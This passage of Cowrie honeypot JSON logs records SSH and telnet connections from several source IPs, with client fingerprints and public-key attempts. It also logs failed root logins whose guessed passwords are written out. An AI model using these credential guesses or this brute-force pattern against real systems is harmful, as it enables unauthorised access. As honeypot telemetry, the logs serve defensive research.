{"eventid":"cowrie.session.closed","duration":40.9820020198822,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:33.664975Z","src_ip":"135.148.14.151","session":"80f94068e538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47706,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed7881ea5c05","protocol":"telnet","message":"New connection: 135.148.14.151:47706 (159.203.135.109:23) [session: ed7881ea5c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:36.446357Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":57664,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c8b1f8b09f7","protocol":"ssh","message":"New connection: 201.186.40.161:57664 (10.17.0.5:22) [session: 6c8b1f8b09f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:42.865656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:42.872698Z","src_ip":"201.186.40.161","session":"6c8b1f8b09f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:43.029381Z","src_ip":"201.186.40.161","session":"6c8b1f8b09f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@2024","message":"login attempt [root/Hello@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:43.685108Z","src_ip":"201.186.40.161","session":"6c8b1f8b09f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:44.845892Z","src_ip":"201.186.40.161","session":"6c8b1f8b09f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52160,"dst_ip":"159.203.135.109","dst_port":23,"session":"26188258c54f","protocol":"telnet","message":"New connection: 135.148.14.151:52160 (159.203.135.109:23) [session: 26188258c54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:45.125066Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.158","src_port":55216,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba1033d111e","protocol":"ssh","message":"New connection: 31.42.184.158:55216 (10.17.0.5:22) [session: dba1033d111e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:46.148013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:46.161091Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:46.290699Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:04:09:62:c3:60:e4:01:91:3f:8d:42:c4:a4:8d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UVLpjNzCk6g4keZ4yywaccPLjJqpzjVE7xnh5Uvdvt6hCjeFuO0aPFyR336NDQYrrkxhT0roBv+QiHLWdZoVaz9OEeOLI6G6ZLWUdyvHg2ZsK3E0i0whC1+Mmzs5smLmVyPwZy2WExnbXIc7qOGygL2aIOYEiWIRXWjOoer0YmX1nizt5CwuZyRzpT/sb1BeSU8W3+sRFp++WcmJyy94uOLr2Cvn86vu/v3PIstFnRtv5ZgcAMXB6mu2NyTwYeadfs0C9tmkQ1K6UUobeWe6TXPRow/JrXylhYUaipA7/DJnNHD43kvFzCoPLSBonf7RG4Xl7fDbARzJUKhptuh5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:04:09:62:c3:60:e4:01:91:3f:8d:42:c4:a4:8d:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:46.905415Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:04:09:62:c3:60:e4:01:91:3f:8d:42:c4:a4:8d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1UVLpjNzCk6g4keZ4yywaccPLjJqpzjVE7xnh5Uvdvt6hCjeFuO0aPFyR336NDQYrrkxhT0roBv+QiHLWdZoVaz9OEeOLI6G6ZLWUdyvHg2ZsK3E0i0whC1+Mmzs5smLmVyPwZy2WExnbXIc7qOGygL2aIOYEiWIRXWjOoer0YmX1nizt5CwuZyRzpT/sb1BeSU8W3+sRFp++WcmJyy94uOLr2Cvn86vu/v3PIstFnRtv5ZgcAMXB6mu2NyTwYeadfs0C9tmkQ1K6UUobeWe6TXPRow/JrXylhYUaipA7/DJnNHD43kvFzCoPLSBonf7RG4Xl7fDbARzJUKhptuh5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:46.909141Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:72:d2:88:a6:e2:e9:46:54:61:ea:8e:c9:29:3f:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAOWnlzJqLoxzHnjxZuvNFkdiQq0KocmCjK53iNB9GAMSYfFbfcWHow+AluRtK2jinhJQeCTMtAAtuBIZj588NrcLhpEGMi1JCxMcfsMtEwmWAXQgPkeAC+HWgNq361TvnFoFsQmVh0N0rvBRelNWsXCgV8XuXPD65RU4ez2vyuns3BnfYPzgYCN5QSsZ82SQa9Y9V2Ij2PeaylJK2FvlUapgYnEU8g4kInelgqX9W9P2ejhUqTMOYPyRl0dtBhB1ms9qUOE0kXRc0rBGniEJzKJfS5fzg2BMhAIi61h1Kq1a/yuNMxKOrSILOGNuj1pfpDUqySb/X/pOal9pwUruh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:72:d2:88:a6:e2:e9:46:54:61:ea:8e:c9:29:3f:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.037827Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:72:d2:88:a6:e2:e9:46:54:61:ea:8e:c9:29:3f:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAOWnlzJqLoxzHnjxZuvNFkdiQq0KocmCjK53iNB9GAMSYfFbfcWHow+AluRtK2jinhJQeCTMtAAtuBIZj588NrcLhpEGMi1JCxMcfsMtEwmWAXQgPkeAC+HWgNq361TvnFoFsQmVh0N0rvBRelNWsXCgV8XuXPD65RU4ez2vyuns3BnfYPzgYCN5QSsZ82SQa9Y9V2Ij2PeaylJK2FvlUapgYnEU8g4kInelgqX9W9P2ejhUqTMOYPyRl0dtBhB1ms9qUOE0kXRc0rBGniEJzKJfS5fzg2BMhAIi61h1Kq1a/yuNMxKOrSILOGNuj1pfpDUqySb/X/pOal9pwUruh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.042045Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:68:7d:e9:70:b4:b8:f3:a8:ec:61:13:3a:8d:fd:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCN523fU6tUCKYQth0/XKU5XmPAXTwuOXW0VzDPqcdufz5NWhK/mkpg9UR5kSl9+aI8xYPKDAcQi4xNvmTnEaKJhWiJ5ZMJuPUsXcc5CYYE73XoMC54Xn+3BVuy775nbFJXzKHnuIxbVTBrArwDfV9AGNwb1ws6KO3+LUNiO4x0NWvSUe9UEvSoq68p7f3JNV/NgijiGYz7lyHwuMgdhpjSGRulVeAXE/nmLQXKjEvF19xkR8BYLtdwGO+VOkpmLC8IL5Rs18ry/yGRUbIgEfJ5NYupHi8JK2Pksr3R2eg3JHHDSG2/rLoNw7IsLeu0cpWxaxA3quFTU5uplUbWKWgT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:68:7d:e9:70:b4:b8:f3:a8:ec:61:13:3a:8d:fd:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.170328Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:68:7d:e9:70:b4:b8:f3:a8:ec:61:13:3a:8d:fd:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCN523fU6tUCKYQth0/XKU5XmPAXTwuOXW0VzDPqcdufz5NWhK/mkpg9UR5kSl9+aI8xYPKDAcQi4xNvmTnEaKJhWiJ5ZMJuPUsXcc5CYYE73XoMC54Xn+3BVuy775nbFJXzKHnuIxbVTBrArwDfV9AGNwb1ws6KO3+LUNiO4x0NWvSUe9UEvSoq68p7f3JNV/NgijiGYz7lyHwuMgdhpjSGRulVeAXE/nmLQXKjEvF19xkR8BYLtdwGO+VOkpmLC8IL5Rs18ry/yGRUbIgEfJ5NYupHi8JK2Pksr3R2eg3JHHDSG2/rLoNw7IsLeu0cpWxaxA3quFTU5uplUbWKWgT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.174490Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:2d:80:12:37:02:bd:01:e7:9a:cb:f2:ac:96:5b:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDO7ED/uZg2lxOHurmo6fEUDzstWGVFzUeHphGbXGFuVZLyuY7wyc6oWeOREfzz2OOK4Y6uw/oG3JyGJK4bY50jxfzJ+Bak1raeCzg7g+uiBbG+W1TAc8AxSmiaWD/pupV9nNu+xn2l+VbPf3BFi/oV4tCm6oKJPYlTo0r6jgqR99jpVzhY4BiobPQOb3Vz6sWcBxK2yEOubU5WGdI35+PyblBCMtv0Er4/ztG+YhVlnELvt7xXpm41UhLgs5WtC+RTiFlTPI9UrCRahxQSmFy3txC91ljM74AiKKAm6f3Qf0U5a/YcfAfuyGtQFtD7//pplGc3FdIk3bpgZX9lbFjuEGEyB53Ra6ZiZDdjsuSTRzl0/1iCuRtcEt5mETgMEsgJfxRBRXdht3xXiLXxxnki6lgVAywd3d8+2BzphYSRmfyBbsTd4qnTRoCw/Gyhidkmi7E9c7XJ8/RsHfcnit9Ybxrvjcl22qiXw1zddjuL2rn3LijJb6nL85IHt5ef0gc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:2d:80:12:37:02:bd:01:e7:9a:cb:f2:ac:96:5b:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.306187Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:2d:80:12:37:02:bd:01:e7:9a:cb:f2:ac:96:5b:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDO7ED/uZg2lxOHurmo6fEUDzstWGVFzUeHphGbXGFuVZLyuY7wyc6oWeOREfzz2OOK4Y6uw/oG3JyGJK4bY50jxfzJ+Bak1raeCzg7g+uiBbG+W1TAc8AxSmiaWD/pupV9nNu+xn2l+VbPf3BFi/oV4tCm6oKJPYlTo0r6jgqR99jpVzhY4BiobPQOb3Vz6sWcBxK2yEOubU5WGdI35+PyblBCMtv0Er4/ztG+YhVlnELvt7xXpm41UhLgs5WtC+RTiFlTPI9UrCRahxQSmFy3txC91ljM74AiKKAm6f3Qf0U5a/YcfAfuyGtQFtD7//pplGc3FdIk3bpgZX9lbFjuEGEyB53Ra6ZiZDdjsuSTRzl0/1iCuRtcEt5mETgMEsgJfxRBRXdht3xXiLXxxnki6lgVAywd3d8+2BzphYSRmfyBbsTd4qnTRoCw/Gyhidkmi7E9c7XJ8/RsHfcnit9Ybxrvjcl22qiXw1zddjuL2rn3LijJb6nL85IHt5ef0gc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.310418Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/lGbtI6rVs+xSgFVnqEhDyIqmZ3/9FiSgzTdANisqZoKAi8cgQiWe8YKWl7Tc2UQJiXqLm2biv78NHrbusBjopdNC9a8T85RJgnDw9vf5xT/siYNXH1jOoWoDKcrKSjzpWDijY8T/3J4y5UGryuX5v8JbVInIdIsA0QuN4OWT8rZNcvaFvUqqtIuPQ+6uOQDicB2T3tKx1PXXF6g7iZ19OzoGTx/7AvvhoBmWY3aFPmugK9N3qjDmEygFM3Y/9z3gOeeuqaK6kk4x0LYSkBDUHJOYSpTN0HXr46+fA6mChNMMZau69Sgv15Il6Oy7c4Yrdp2lF8K83M8pNoVPJKueopYfmsU0xPe4ZZcqEar9BSYBFU/lkp9NmLagw1S0hZ5f8/TmWKY/nWWnjjC0f4ZZVEFbVl39JfS059536y9yIH3HOWNsLQIZC1EoYxlc9m8DLAm9ukKMVfDEJNbf9nRzP6BS+FG8l6j9c3zFbqlVg8cC4FEuXY/ffOpQkHra3CU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.438597Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:e7:8e:16:93:5a:9f:bf:7c:68:a2:f7:d1:38:ec:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/lGbtI6rVs+xSgFVnqEhDyIqmZ3/9FiSgzTdANisqZoKAi8cgQiWe8YKWl7Tc2UQJiXqLm2biv78NHrbusBjopdNC9a8T85RJgnDw9vf5xT/siYNXH1jOoWoDKcrKSjzpWDijY8T/3J4y5UGryuX5v8JbVInIdIsA0QuN4OWT8rZNcvaFvUqqtIuPQ+6uOQDicB2T3tKx1PXXF6g7iZ19OzoGTx/7AvvhoBmWY3aFPmugK9N3qjDmEygFM3Y/9z3gOeeuqaK6kk4x0LYSkBDUHJOYSpTN0HXr46+fA6mChNMMZau69Sgv15Il6Oy7c4Yrdp2lF8K83M8pNoVPJKueopYfmsU0xPe4ZZcqEar9BSYBFU/lkp9NmLagw1S0hZ5f8/TmWKY/nWWnjjC0f4ZZVEFbVl39JfS059536y9yIH3HOWNsLQIZC1EoYxlc9m8DLAm9ukKMVfDEJNbf9nRzP6BS+FG8l6j9c3zFbqlVg8cC4FEuXY/ffOpQkHra3CU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.443006Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:47.570598Z","src_ip":"31.42.184.158","session":"dba1033d111e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55962,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf872ca2680","protocol":"telnet","message":"New connection: 135.148.14.151:55962 (159.203.135.109:23) [session: 2bf872ca2680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:28:57.101037Z"}
{"eventid":"cowrie.session.closed","duration":35.61757183074951,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:01.878647Z","src_ip":"135.148.14.151","session":"4bda57e8cd8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.20668959617615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:14.652950Z","src_ip":"135.148.14.151","session":"ed7881ea5c05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.265807151794434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:19.390718Z","src_ip":"135.148.14.151","session":"26188258c54f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":37440,"dst_ip":"159.203.135.109","dst_port":22,"session":"df55448f924a","protocol":"ssh","message":"New connection: 94.159.98.239:37440 (159.203.135.109:22) [session: df55448f924a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:25.245644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:25.250890Z","src_ip":"94.159.98.239","session":"df55448f924a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:25.368849Z","src_ip":"94.159.98.239","session":"df55448f924a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbyjpfdh","message":"login attempt [root/lbyjpfdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:25.724553Z","src_ip":"94.159.98.239","session":"df55448f924a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:26.837496Z","src_ip":"94.159.98.239","session":"df55448f924a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.777310848236084,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:29.878232Z","src_ip":"135.148.14.151","session":"2bf872ca2680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb30808865f","protocol":"telnet","message":"New connection: 135.148.14.151:48588 (159.203.135.109:23) [session: 7bb30808865f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:41.881122Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48634,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e7c3d3f9b42","protocol":"telnet","message":"New connection: 135.148.14.151:48634 (159.203.135.109:23) [session: 0e7c3d3f9b42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:41.979229Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":41382,"dst_ip":"10.17.0.5","dst_port":22,"session":"317034e5a7bd","protocol":"ssh","message":"New connection: 150.109.247.111:41382 (10.17.0.5:22) [session: 317034e5a7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:52.919526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:52.924943Z","src_ip":"150.109.247.111","session":"317034e5a7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","a